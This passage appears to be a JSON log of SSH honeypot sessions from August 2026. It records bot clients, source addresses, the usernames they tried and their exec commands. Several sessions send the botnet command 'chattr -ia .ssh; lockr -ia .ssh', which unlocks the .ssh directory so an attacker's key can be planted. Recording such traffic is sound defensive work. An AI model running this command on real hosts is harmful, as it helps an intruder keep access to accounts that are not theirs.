  "id": "2a803137-bfbd-40ba-95d4-4d970b922167",
  "name": "rustic-shifting-avocet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 41214,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:40:11.010075+00:00",
  "ended_at": "2026-08-26T22:40:12.007236+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8e0602a6-803d-4475-a86b-78953a99927b",
  "name": "dusky-breezy-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 49254,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:38:28.814053+00:00",
  "ended_at": "2026-08-26T22:38:29.858603+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "d6017f99-78b6-4f5c-9aca-cefc960d0b15",
  "name": "seaward-peaty-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49264,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:38:07.958054+00:00",
  "ended_at": "2026-08-26T22:38:09.128246+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e8645a3d-7547-4a5f-ad76-1468b923d8d3",
  "name": "gnarled-boreal-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49256,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:38:06.995386+00:00",
  "ended_at": "2026-08-26T22:38:07.823245+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "234121c6-c9e6-48f3-b120-fc8473397bec",
  "name": "prairie-thawing-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 50274,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:36:31.926723+00:00",
  "ended_at": "2026-08-26T22:36:33.135610+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "30ceb815-0a7e-491d-afa9-37bb9f611f70",
  "name": "jaunty-craggy-plover",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 50286,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:36:08.526655+00:00",
  "ended_at": "2026-08-26T22:36:10.024406+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ee807350-9e0d-42b9-95ce-0a9f43ae71de",
  "name": "gleaming-wistful-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 50276,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:36:07.274196+00:00",
  "ended_at": "2026-08-26T22:36:08.363494+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dea6781c-ccb9-4ffd-afaf-fae451297e78",
  "name": "western-sincere-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.163.40.5",
  "src_port": 52652,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:35:26.655810+00:00",
  "ended_at": "2026-08-26T22:35:28.330796+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8821cc7f-cb2b-4c0b-8112-dc93ca0c24ad",
  "name": "blithe-honest-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 49446,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:34:33.498009+00:00",
  "ended_at": "2026-08-26T22:34:34.540507+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "c99fab4a-35b0-4a1a-a4b0-c359cd8eadea",
  "name": "muted-prairie-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 25524,
  "username": "kyrsten",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:34:21.621062+00:00",
  "ended_at": "2026-08-26T22:34:22.182005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "737e8bbc-6134-4f69-8545-2bc36f4fbc66",
  "name": "autumn-dutiful-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49452,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:34:11.954735+00:00",
  "ended_at": "2026-08-26T22:34:13.582050+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dca0bd54-b0d5-4215-88aa-23d219833107",
  "name": "flinty-glacial-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49450,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:34:10.138471+00:00",
  "ended_at": "2026-08-26T22:34:11.817272+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1692f1af-01e7-4f3e-b430-7493593d25ab",
  "name": "feathered-jovial-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 40390,
  "username": "guest",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:33:35.253924+00:00",
  "ended_at": "2026-08-26T22:34:33.200444+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7fbf6f66-8f80-4582-a9cc-2fb9f272cd3a",
  "name": "wandering-faded-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 44980,
  "username": "guest",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:33:02.376880+00:00",
  "ended_at": "2026-08-26T22:37:02.975954+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8889b794-3420-499b-ba77-e0fca6219a78",
  "name": "bitter-vernal-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 51584,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:32:36.517304+00:00",
  "ended_at": "2026-08-26T22:32:37.388096+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "ff6df460-6b00-43cd-80b0-768dd221279d",
  "name": "creaky-placid-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 51600,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:32:13.659769+00:00",
  "ended_at": "2026-08-26T22:32:14.851391+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1c3e8e8f-0dda-405e-867c-7fdeb795f28d",
  "name": "rugged-wry-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 51590,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:32:12.874182+00:00",
  "ended_at": "2026-08-26T22:32:13.524767+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "712ad059-f7ef-4421-9f20-094279b3228f",
  "name": "fringed-snowy-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 44534,
  "username": "mcserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 67,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:30:30.060127+00:00",
  "ended_at": "2026-08-26T22:30:32.225340+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "6d701ac8-41b8-4f03-8409-d8f363b73762",
  "name": "thawing-patient-jay",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 44542,
  "username": "mcserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:30:17.814186+00:00",
  "ended_at": "2026-08-26T22:30:19.065860+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3ea484d8-2f09-4134-b165-7ef7666770d1",
  "name": "graceful-indigo-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 44538,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:30:17.057220+00:00",
  "ended_at": "2026-08-26T22:30:17.680418+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f13ddc6a-8276-4281-b3e3-e91d11f18595",
  "name": "fringed-canny-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 48524,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:28:36.867877+00:00",
  "ended_at": "2026-08-26T22:28:38.389448+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "6fdf6892-d37a-4dc0-8697-f1d20d1154d8",
  "name": "mindful-hollow-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 48536,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:28:25.540296+00:00",
  "ended_at": "2026-08-26T22:28:26.380172+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fce72664-db03-4154-8f87-3d72fba67325",
  "name": "shaded-murky-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 48526,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:28:23.823796+00:00",
  "ended_at": "2026-08-26T22:28:25.395332+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7aa65e49-1024-4c9f-97af-154317883f7e",
  "name": "sooty-pewter-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 49162,
  "username": "minecraft",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 68,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:26:36.605992+00:00",
  "ended_at": "2026-08-26T22:26:38.807153+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2260
 },
 {
  "id": "4d022d5d-c896-481e-b614-2d44471a193e",
  "name": "nautical-sturdy-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49188,
  "username": "minecraft",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:26:25.347591+00:00",
  "ended_at": "2026-08-26T22:26:26.880719+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1b29f410-df74-427d-99a0-7490fa4279fd",
  "name": "verdant-quartz-pheasant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49178,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:26:23.590259+00:00",
  "ended_at": "2026-08-26T22:26:25.206965+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "467d8577-478e-48de-908b-f9818ff4d8c5",
  "name": "opal-zealous-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 63201,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:25:17.766365+00:00",
  "ended_at": "2026-08-26T22:25:19.159069+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90ed254b-24e9-408c-b88b-de592baf747f",
  "name": "crystal-hearty-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 46342,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:24:55.820855+00:00",
  "ended_at": "2026-08-26T22:28:56.000023+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3bdfa553-0792-4bb2-8f21-8f3acd304c18",
  "name": "grumpy-jolly-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 51582,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 69,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:24:40.906880+00:00",
  "ended_at": "2026-08-26T22:24:43.107634+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "acc363e9-4417-410b-a5c5-ac61311c00d0",
  "name": "marbled-crimson-bunting",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 51604,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:24:21.668915+00:00",
  "ended_at": "2026-08-26T22:24:22.636550+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b029d466-05dd-4e64-a566-40a04cebf238",
  "name": "restless-hushed-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 51598,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:24:20.046861+00:00",
  "ended_at": "2026-08-26T22:24:21.536459+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40fa65fd-fcab-4975-9d61-7c84f4d67b80",
  "name": "diligent-burly-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 52690,
  "username": "yx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:22:35.264741+00:00",
  "ended_at": "2026-08-26T22:22:36.950695+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "6cb79515-7ef7-4683-9126-9d5c985e18b5",
  "name": "jolly-meadow-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 52708,
  "username": "yx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:22:16.137838+00:00",
  "ended_at": "2026-08-26T22:22:17.224319+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c640f96-8047-4eff-845c-507c99a91adf",
  "name": "forlorn-chilly-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 52700,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:22:14.209135+00:00",
  "ended_at": "2026-08-26T22:22:16.003510+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a72392cf-d7c3-496c-aa59-bdc47134a553",
  "name": "prairie-lunar-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 44288,
  "username": "maman",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:20:28.578573+00:00",
  "ended_at": "2026-08-26T22:20:30.099169+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2252
 },
 {
  "id": "ccee4162-9c84-4b90-9d60-1280741216e2",
  "name": "ruddy-drifting-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 44302,
  "username": "maman",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:20:08.066596+00:00",
  "ended_at": "2026-08-26T22:20:09.288859+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "271fb675-f710-4d0f-b54b-aa8ee452f809",
  "name": "amiable-lively-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 44298,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:20:06.379696+00:00",
  "ended_at": "2026-08-26T22:20:07.932532+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c8627d04-62b1-494d-82ff-b6cc011a3e3a",
  "name": "lawful-woven-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 54148,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:18:25.699676+00:00",
  "ended_at": "2026-08-26T22:18:27.811255+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "f8c9dd3b-70e4-4cb8-b648-0b540fae8b8b",
  "name": "graceful-dappled-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 43182,
  "username": "monitor",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:18:14.945096+00:00",
  "ended_at": "2026-08-26T22:22:15.212956+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "abd4857c-1601-42f2-8662-50652b484fcf",
  "name": "solar-chilly-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 54168,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:18:05.742126+00:00",
  "ended_at": "2026-08-26T22:18:06.343189+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9b71dab3-3d46-47fd-90bf-be78e096d44c",
  "name": "hollow-upland-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 54152,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:18:04.409616+00:00",
  "ended_at": "2026-08-26T22:18:05.604638+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c47d3b54-ef26-4486-a74a-bbfaf57f62e4",
  "name": "russet-boreal-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.110.137",
  "src_port": 13688,
  "username": "support",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:17:46.765548+00:00",
  "ended_at": "2026-08-26T22:17:49.057863+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2395d7d-8e0a-4245-a4ee-98dd507e1dd3",
  "name": "restless-regal-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.27",
  "src_port": 58650,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:17:32.426391+00:00",
  "ended_at": "2026-08-26T22:17:32.757023+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6e4385d2-614c-43a9-9680-5d3e6f629f88",
  "name": "prickly-hidden-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 34754,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:16:57.352058+00:00",
  "ended_at": "2026-08-26T22:16:57.692329+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "58285da1-f955-4a9d-8560-e5560f5bc0c9",
  "name": "sunlit-rapid-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 52815,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:16:54.184621+00:00",
  "ended_at": "2026-08-26T22:17:13.728161+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8e9aaf29-e88c-4627-8177-0a58996b1ba1",
  "name": "blunt-upland-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 60036,
  "username": "temp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:16:34.039368+00:00",
  "ended_at": "2026-08-26T22:16:35.749635+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "4c021f80-200e-457f-89db-6b7bd8f9c6fa",
  "name": "dappled-valiant-goose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 60310,
  "username": "temp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:16:12.153664+00:00",
  "ended_at": "2026-08-26T22:16:13.078633+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c720a409-6ab0-4392-bbc0-a8df391975a4",
  "name": "crimson-watchful-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 60044,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:16:10.490093+00:00",
  "ended_at": "2026-08-26T22:16:12.016349+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bbaa9db9-1970-4b14-91f0-6996269f1d81",
  "name": "faded-daring-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 35484,
  "username": "sammy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:15:03.022039+00:00",
  "ended_at": "2026-08-26T22:19:03.455256+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c80ea31-a5d7-47d8-9d64-fa955b5c95c6",
  "name": "glassy-steady-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 34022,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
